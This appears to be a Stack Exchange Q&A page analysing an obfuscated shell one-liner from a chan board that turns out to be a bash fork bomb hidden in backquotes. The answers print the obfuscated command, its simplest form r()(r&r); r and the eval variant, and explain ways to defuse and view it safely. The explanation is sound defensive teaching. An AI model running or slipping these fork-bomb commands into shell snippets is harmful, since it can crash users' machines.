154

Found on a random chan board:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Somehow running this this results in an infinitely spawning process that runs rampant and grinds the machine to a halt. I see something about "su" attempting to be executed numerous times.

..which is strange, because I'd just expect text to be output, not the execution of anything.

Running this text through an online decoder just gives me a batch of binary spew:

uudecode result

What is this mess of text actually doing, and is there a way to "safely" view it?

Karu
  • 4,634
  • 7
  • 34
  • 54
  • Why is "su" being executed numerous times? – Brent Washburne Nov 07 '15 at 00:57
  • 39
    A piece of advice: don't run code from random chan boards and be grateful it was just a fork bomb. – rr- Nov 08 '15 at 16:46
  • 24
    Heh. Thankfully I was on a snapshotted VM made for the express purpose of playing around with possibly hostile garbage like this. – Karu Nov 09 '15 at 02:24
  • I know this is off-topic, but is it possible to mention the board and the context in which the command was mentioned? – Sebi Nov 09 '15 at 22:09
  • 1
    @Sebi - https://archive.rebeccablacktech.com/g/thread/45564403 – Pikamander2 Nov 10 '15 at 09:21
  • 4
    Vidar Holen, the author of https://www.shellcheck.net/ wrote a [blog post](https://www.vidarholen.net/contents/blog/?p=766) on this in which he claims to be the author of this fork bomb and gives some background information. – Socowi Jun 24 '19 at 13:00

3 Answers3

218

First, let's look at the whole command:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

It contains a double-quoted string that gets echoed to uudecode. But, note that, within the double-quoted string is a back-quoted string. This string gets executed. The string is:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

If we look at what's in it, we see three commands:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Performing brace expansion on the middle command, we have:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

The first line tries to run a nonsense command in background. This is unimportant.

The second line is important: it defines a function r which, when run, launches two copies of itself. Each of those copies would, of course, launch two more copies. And so on.

The third line runs r, starting the fork bomb.

The rest of the code, outside of the back-quoted string, is just nonsense for obfuscation.

How to run the command safely

This code can be run safely if we set limit on function nesting level. This can be done with bash's FUNCNEST variable. Here, we set it to 2 and this stops the recursion:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

The error messages above show that (a) the nonsense commands rYWdl and Y29j are not found, (b) the fork bomb gets repeatedly stopped by FUNCNEST, and (c) the output of echo does not start with begin and, consequently, is not valid input for uudecode.

The fork bomb in its simplest form

What would the fork bomb look like if we removed the obscuration? As njzk2 and gerrit suggest, it would look like:

echo "`r()(r&r);r`"

We can simplify that even further:

r()(r&r); r

That consists of two statements: one defines the fork-bomb-function r and the second runs r.

All the other code, including the pipe to uudecode, was there just for obscuration and misdirection.

The original form had yet another layer of misdirection

The OP has provided a link to the chann board discussion on which this code appeared. As presented there, the code looked like:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Notice one of the first comments about this code:

I fell for it. Copied only the part that echoes and decodes, but still got forkbombed

In the form on the chann board, one would naively think that the problem would be the eval statement operating on the output of uudecode. This would lead one to think that removing eval would solve the problem. As we have seen above, this is false and dangerously so.

John1024
  • 16,593
  • 5
  • 50
  • 45
  • 9
    Devious! I never thought to consider shell globbing/expansion in the middle of the echoed string. – Karu Nov 06 '15 at 07:12
  • 35
    I think it would be good to note that `uudecode` is completely irrelevant here. For a moment I thought `uudecode` was performing back-quoted string interpolation which would render it fundamentally unsafe, but the fork bomb happens before uudecode starts at all. – gerrit Nov 06 '15 at 11:22
  • 31
    ...and *this*, ladies and gentleman, is why security in shell scripts is so damned hard. Even totally harmless-looking stuff can kill you. (Imagine if this was user input from somewhere...) – MathematicalOrchid Nov 06 '15 at 14:03
  • 23
    @MathematicalOrchid It actually takes nontrivial effort to cause backquoted stuff in user input to a shell script to get executed. And if you're _constructing_ a shell script from user input you should know better than to put it in double quotes. – Random832 Nov 06 '15 at 14:40
  • 2
    @Random832 It depends on how much of a clue the person who wrote the script has. :-/ If you're just taking your first steps with shell scripting... there are many, many ways to shoot yourself in the foot. – MathematicalOrchid Nov 06 '15 at 15:09
  • so, in its simplest form, it would be something like `echo "\`r()(r r);r\`"`? – njzk2 Nov 06 '15 at 15:42
  • 5
    @njzk2 You still need an `&` there: `echo "\`r()(r&r);r\`"`. – gerrit Nov 06 '15 at 16:17
  • 1
    @gerrit thanks. That looked odd without the `&`. I guess the obfuscation part worked on me. – njzk2 Nov 06 '15 at 16:25
  • 2
    I didn't know what back ticks did in shell and found a related link: http://unix.stackexchange.com/a/27432 – Luminous Nov 06 '15 at 19:17
  • 2
    @MathematicalOrchid I think Random832's point is that the backtick expansion doesn't happen recursively. If you do `echo $userinput`, and the input contains backticks, it won't execute the code in them. The only expansion done when expanding a variable is globbing and word splitting (and these will be suppressed if you put the variable in double quotes). – Barmar Nov 06 '15 at 19:36
  • Indeed. echo "$uservariable" doesn't perform backtick expansion if uservariable contains backticks. – Joshua Nov 08 '15 at 16:13
  • 1
    @MathematicalOrchid, unless you're doing something silly like running `eval` (or a moral equivalent such as `sh -c` or `ssh "$host" "some_command $untrusted_user_data"`) on a string containing user input that wasn't sanitized with `printf %q`, it's perfectly safe. Indeed, many common mistakes in shell programming come from people not understanding the rules built to protect from jumps back to earlier points in the parsing process. – Charles Duffy Nov 09 '15 at 05:36
  • So to clarify, nothing in this matters other than the backquoted string? In other words if you were to run `echo \`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r\`` it would have the same result? – Dessa Simpson Nov 09 '15 at 21:58
11

To answer the second part of your question:

...is there a way to "safely" view it?

To defuse this string, replace the outer double quotes by single quotes and escape the single quotes occurring inside the string. Like this, the shell will not execute any code, and you're actually passing everything straight to uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Other alternatives are noted in the comments:

kasperd suggested:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall suggested to use a text editor, paste the contents, then pass that file to uudecode.

gerrit
  • 1,598
  • 6
  • 18
  • 38
  • 6
    Alternatively: Type `uudecode` on the command line. Press enter. Copy-paste the string to be decoded. – kasperd Nov 06 '15 at 14:16
  • 3
    Another alternative: use a text editor to save the contents to a file. Open that file with `uudecode`. – Jacob Krall Nov 06 '15 at 14:32
  • Thanks to both, I have noted those alternatives in the answer. – gerrit Nov 06 '15 at 14:51
  • 1
    Make sure you check that the string isn't something like ``echo "foo`die`bar'`die`'baz"`` first! That is, if it has any `'`s in it then replacing the quotes with single quotes will not be sufficient. – wchargin Nov 07 '15 at 01:36
7

At a first glance, you might think that output to the shell will never get executed. This is still true. The problem is already in the input. The main trick here is what programmers call operator precedence. This is the order the shell tries to process your input:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Compose the string by executing all backticks commands inside it.
  2. Usually an unknown command, which would cause some output like If 'rYWdl' is not a typo you can use command-not-found to lookup the package that contains it … (depends on the system)
  3. Executes 2. in the background. You will never see an output.
  4. Define the fork bomb function.
  5. Command separator.
  6. Run the fork bomb.
  7. Insert the result of 6. into the String. (We never come here.)

The error is to think that echo would be the first command to be executed, uudecode the second. Both of them will never be reached.

Conclusion: Double quotes are always dangerous on the shell.

Matthias Ronge
  • 225
  • 1
  • 9